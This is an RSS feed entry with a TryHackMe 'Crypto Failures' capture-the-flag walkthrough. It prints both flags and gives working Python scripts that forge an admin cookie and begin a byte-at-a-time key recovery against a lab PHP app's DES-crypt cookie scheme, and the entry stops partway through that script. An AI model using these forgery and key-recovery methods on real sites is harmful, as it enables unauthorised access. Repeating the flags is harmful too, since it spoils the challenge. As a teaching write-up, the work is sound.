<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Muhammad Saad</title>
    <description>The latest articles on DEV Community by Muhammad Saad (@muhammad_saad_ce88b4330bf).</description>
    <link>https://dev.to/muhammad_saad_ce88b4330bf</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4135000%2F4a6fdc53-cebe-4778-bd01-4769234321fe.png</url>
      <title>DEV Community: Muhammad Saad</title>
      <link>https://dev.to/muhammad_saad_ce88b4330bf</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/muhammad_saad_ce88b4330bf"/>
    <language>en</language>
    <item>
      <title>THM Crypto Failures — Full Walkthrough</title>
      <dc:creator>Muhammad Saad</dc:creator>
      <pubDate>Sat, 24 Oct 2026 09:13:10 +0000</pubDate>
      <link>https://dev.to/muhammad_saad_ce88b4330bf/thm-crypto-failures-full-walkthrough-1n5n</link>
      <guid>https://dev.to/muhammad_saad_ce88b4330bf/thm-crypto-failures-full-walkthrough-1n5n</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgu5ptrwp0ll1vnj62a0z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgu5ptrwp0ll1vnj62a0z.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Q1 (web flag): &lt;code&gt;THM{ok_you_f0und_w3b_fl4g_6cbe2bc}&lt;/code&gt;&lt;br&gt;
Q2 (encryption key): &lt;code&gt;THM{Traditional_Own_Crypto_is_Always_Surprising!_and_this_hopefully_is_not_easy_to_crack_e41d20b5b0989cac65ed4a090cace944bf30e6d3ab88f9d447f52fd2140525b9}&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;A PHP app rolls its own "military-grade" cookie encryption: each 8-byte block of&lt;br&gt;
&lt;code&gt;user:User-Agent:ENC_SECRET_KEY&lt;/code&gt; is run through &lt;code&gt;crypt()&lt;/code&gt; with a single 2-character salt, and the&lt;br&gt;
results are concatenated. That is an ECB-style construction made of hashes, which gives us two&lt;br&gt;
bugs:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Cut-and-paste auth bypass&lt;/strong&gt; — &lt;code&gt;guest:&lt;/code&gt; and &lt;code&gt;admin:&lt;/code&gt; are the same length, so only the first
block differs and we can compute it locally.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Byte-at-a-time key recovery&lt;/strong&gt; — by changing the &lt;code&gt;User-Agent&lt;/code&gt; length we can place each unknown
key byte in a block where the other 7 bytes are known, then brute-force one character.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;No SSH, no privesc — both answers come from port 80.&lt;/p&gt;


&lt;h2&gt;
  
  
  1. Recon
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-T4&lt;/span&gt; &lt;span class="nt"&gt;--open&lt;/span&gt; &lt;span class="nt"&gt;-p-&lt;/span&gt; &lt;span class="nt"&gt;--min-rate&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;3000 10.113.155.191
nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-p22&lt;/span&gt;,80 10.113.155.191
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;22/tcp open  ssh   OpenSSH 8.9p1 Ubuntu 3ubuntu0.7
80/tcp open  http  Apache httpd 2.4.59 ((Debian))   X-Powered-By: PHP/8.3.8
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;On the first request the app sets two cookies and redirects to &lt;code&gt;/&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; http://10.113.155.191/ | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt; &lt;span class="m"&gt;302&lt;/span&gt; &lt;span class="ne"&gt;Found&lt;/span&gt;
&lt;span class="na"&gt;X-Powered-By&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;PHP/8.3.8&lt;/span&gt;
&lt;span class="na"&gt;Set-Cookie&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;secure_cookie=Fmzq4d4Emej8...; expires=...; Max-Age=3600; path=/&lt;/span&gt;
&lt;span class="na"&gt;Set-Cookie&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;user=guest; expires=...; Max-Age=3600; path=/&lt;/span&gt;
&lt;span class="na"&gt;Location&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Following the redirect with cookies stored gives the landing page:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-L&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; jar.txt &lt;span class="nt"&gt;-b&lt;/span&gt; jar.txt http://10.113.155.191/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;You are logged in as guest:***********
&lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;SSO cookie is protected with traditional military grade en&lt;span class="nt"&gt;&amp;lt;b&amp;gt;&lt;/span&gt;crypt&lt;span class="nt"&gt;&amp;lt;/b&amp;gt;&lt;/span&gt;ion
&lt;span class="c"&gt;&amp;lt;!-- TODO remember to remove .bak files--&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The comment is the hint: look for backup files. Fuzzing confirms one:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ffuf &lt;span class="nt"&gt;-u&lt;/span&gt; http://10.113.155.191/FUZZ &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/Web-Content/common.txt &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-mc&lt;/span&gt; 200,301,302,403,401 &lt;span class="nt"&gt;-t&lt;/span&gt; 40
&lt;span class="c"&gt;# index.php, .htaccess, .htpasswd, server-status ... plus the .bak we are about to fetch&lt;/span&gt;

curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://10.113.155.191/index.php.bak &lt;span class="nt"&gt;-o&lt;/span&gt; index.php.bak
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;config.php&lt;/code&gt; exists but executes to an empty 200, and every &lt;code&gt;config.php.bak&lt;/code&gt;-style variant is 404.&lt;br&gt;
The &lt;code&gt;.bak&lt;/code&gt; of &lt;code&gt;index.php&lt;/code&gt; is the intended leak.&lt;/p&gt;
&lt;h2&gt;
  
  
  2. Reading the scheme
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;index.php.bak
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Relevant parts:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$string&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s2"&gt;":"&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$_SERVER&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'HTTP_USER_AGENT'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s2"&gt;":"&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$ENC_SECRET_KEY&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;make_secure_cookie&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$SALT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$secure_cookie&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;foreach&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;str_split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nv"&gt;$el&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;       &lt;span class="c1"&gt;// 8-byte blocks&lt;/span&gt;
        &lt;span class="nv"&gt;$secure_cookie&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;crypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$el&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$SALT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;     &lt;span class="c1"&gt;// DES crypt -&amp;gt; 13 chars/block&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$secure_cookie&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;verify_cookie&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$ENC_SECRET_KEY&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$user&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_COOKIE&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'user'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="nv"&gt;$string&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s2"&gt;":"&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$_SERVER&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'HTTP_USER_AGENT'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s2"&gt;":"&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$ENC_SECRET_KEY&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nv"&gt;$salt&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;substr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_COOKIE&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'secure_cookie'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// salt = first 2 chars&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;make_secure_cookie&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$salt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nv"&gt;$_COOKIE&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'secure_cookie'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="mf"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;verify_cookie&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$ENC_SECRET_KEY&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="s2"&gt;"admin"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"congrats: &amp;lt;flag&amp;gt;. Now I want the key."&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The important observations:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;crypt()&lt;/code&gt; with a 2-character salt is traditional DES crypt: it returns 13 characters, the first
two being the salt. So the cookie is a sequence of 13-char blocks.&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;same salt is used for every block&lt;/strong&gt;, and the salt is taken from the cookie we submit — we
control it.&lt;/li&gt;
&lt;li&gt;Each block is hashed independently → identical plaintext blocks produce identical ciphertext
blocks, and we can compute the hash of any plaintext ourselves. The key is only needed for the
trailing blocks that contain it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Confirm the block structure with a known prefix (PHP and &lt;code&gt;libcrypt&lt;/code&gt; agree):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'
import ctypes
l=ctypes.CDLL("libcrypt.so.1"); l.crypt.restype=ctypes.c_char_p
l.crypt.argtypes=[ctypes.c_char_p,ctypes.c_char_p]
print(l.crypt(b"guest:Mo", b"Ad"))   # b"AdSleedEWCRK2"
print(l.crypt(b"admin:Mo", b"Ad"))   # b"AdBOdWNO.9Zps"
'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  3. Logging in as admin
&lt;/h2&gt;

&lt;p&gt;The plaintext is &lt;code&gt;guest:&amp;lt;UA&amp;gt;:&amp;lt;KEY&amp;gt;&lt;/code&gt; and the only block that differs for &lt;code&gt;admin:&amp;lt;UA&amp;gt;:&amp;lt;KEY&amp;gt;&lt;/code&gt; is&lt;br&gt;
block 0, because &lt;code&gt;guest:&lt;/code&gt; and &lt;code&gt;admin:&lt;/code&gt; are both exactly 6 bytes. Block 0 is just&lt;br&gt;
&lt;code&gt;admin:&lt;/code&gt; + the first two bytes of the User-Agent — no key material involved, so we can hash it&lt;br&gt;
ourselves.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Method A — compute block 0 locally (works with any UA):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 - &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
import ctypes, urllib.parse, http.client

lib = ctypes.CDLL("libcrypt.so.1")
lib.crypt.restype  = ctypes.c_char_p
lib.crypt.argtypes = [ctypes.c_char_p, ctypes.c_char_p]

HOST = "10.113.155.191"
UA   = "Mozilla/5.0"          # keep this exact UA on the replay request

c = http.client.HTTPConnection(HOST, 80, timeout=10)
c.request("GET", "/", headers={"User-Agent": UA})
r = c.getresponse(); r.read()
setc = r.getheader("Set-Cookie") or ""
raw  = [p.split("secure_cookie=")[1].split(";")[0]
        for p in setc.split(",") if "secure_cookie=" in p][0]

cookie = urllib.parse.unquote(raw)
salt   = cookie[:2]
blocks = [cookie[i:i+13] for i in range(0, len(cookie), 13)]

# block 0 of "admin:&amp;lt;UA&amp;gt;:&amp;lt;KEY&amp;gt;" = "admin:" + UA[:2]
blocks[0] = lib.crypt(("admin:" + UA[:2]).encode(), salt.encode()).decode()

forged = urllib.parse.quote("".join(blocks), safe="")
print("user=admin; secure_cookie=" + forged)
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Method B — pure cut-and-paste (no local hashing):&lt;/strong&gt; pick &lt;code&gt;User-Agent: adadmin:ad&lt;/code&gt;. Then the&lt;br&gt;
oracle's block 1 is &lt;code&gt;crypt("admin:ad", salt)&lt;/code&gt;, which is exactly the block 0 needed for the admin&lt;br&gt;
string, and the two block 1s also match. So the forged cookie is &lt;code&gt;block1 + block1 + blocks[2:]&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 - &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
import urllib.parse, http.client
HOST, UA = "10.113.155.191", "adadmin:ad"

c = http.client.HTTPConnection(HOST, 80, timeout=10)
c.request("GET", "/", headers={"User-Agent": UA})
r = c.getresponse(); r.read()
raw = [p.split("secure_cookie=")[1].split(";")[0]
       for p in r.getheader("Set-Cookie").split(",") if "secure_cookie=" in p][0]
ck  = urllib.parse.unquote(raw)
b   = [ck[i:i+13] for i in range(0, len(ck), 13)]
print("user=admin; secure_cookie=" + urllib.parse.quote(b[1] + b[1] + "".join(b[2:]), safe=""))
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Replay the forged cookie with &lt;code&gt;user=admin&lt;/code&gt; and the same &lt;code&gt;User-Agent&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="s1"&gt;'Mozilla/5.0'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Cookie: user=admin; secure_cookie=&amp;lt;FORGED&amp;gt;'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
     http://10.113.155.191/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;congrats: THM{ok_you_f0und_w3b_fl4g_6cbe2bc}. Now I want the key.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  4. Recovering the encryption key
&lt;/h2&gt;

&lt;p&gt;The full plaintext is &lt;code&gt;guest:&amp;lt;UA&amp;gt;:&amp;lt;KEY&amp;gt;&lt;/code&gt;. We control the length of &lt;code&gt;&amp;lt;UA&amp;gt;&lt;/code&gt;, so we can slide the&lt;br&gt;
unknown bytes across the 8-byte block boundaries. The trick is to choose the padding so that the&lt;br&gt;
next unknown character is always the &lt;strong&gt;8th byte&lt;/strong&gt; of a block whose first 7 bytes are known. Then&lt;br&gt;
we try all printable characters in that last position, hash &lt;code&gt;prefix + candidate&lt;/code&gt;, and compare with&lt;br&gt;
that block of a freshly issued cookie (the salt is read from the block itself, so a new random salt&lt;br&gt;
per request is fine).&lt;/p&gt;

&lt;p&gt;Padding formula (with the unknown character as the last byte of the block):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;pad&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;guest:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;discovered&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="n"&gt;ua&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;A&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;pad&lt;/span&gt;
&lt;span class="n"&gt;prefix&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;guest:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;ua&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;discovered&lt;/span&gt;
&lt;span class="n"&gt;bidx&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prefix&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Examples:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;discovered&lt;/th&gt;
&lt;th&gt;UA padding&lt;/th&gt;
&lt;th&gt;block being brute-forced&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;`` (start)&lt;/td&gt;
&lt;td&gt;``&lt;/td&gt;
&lt;td&gt;&lt;code&gt;guest::T&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;T&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AAAAAAA&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AAAAA:TH&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;TH&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AAAAAA&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AAAA:TH?&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Full script (&lt;code&gt;/tmp/opencode/extract_key.py&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python3
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ctypes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;

&lt;span class="c1"&gt;# Python 3.13+ removed the stdlib crypt module; call libcrypt directly.
&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ctypes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;CDLL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;libcrypt.so.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;crypt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;restype&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ctypes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c_char_p&lt;/span&gt;
&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;crypt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argtypes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ctypes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c_char_p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ctypes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c_char_p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

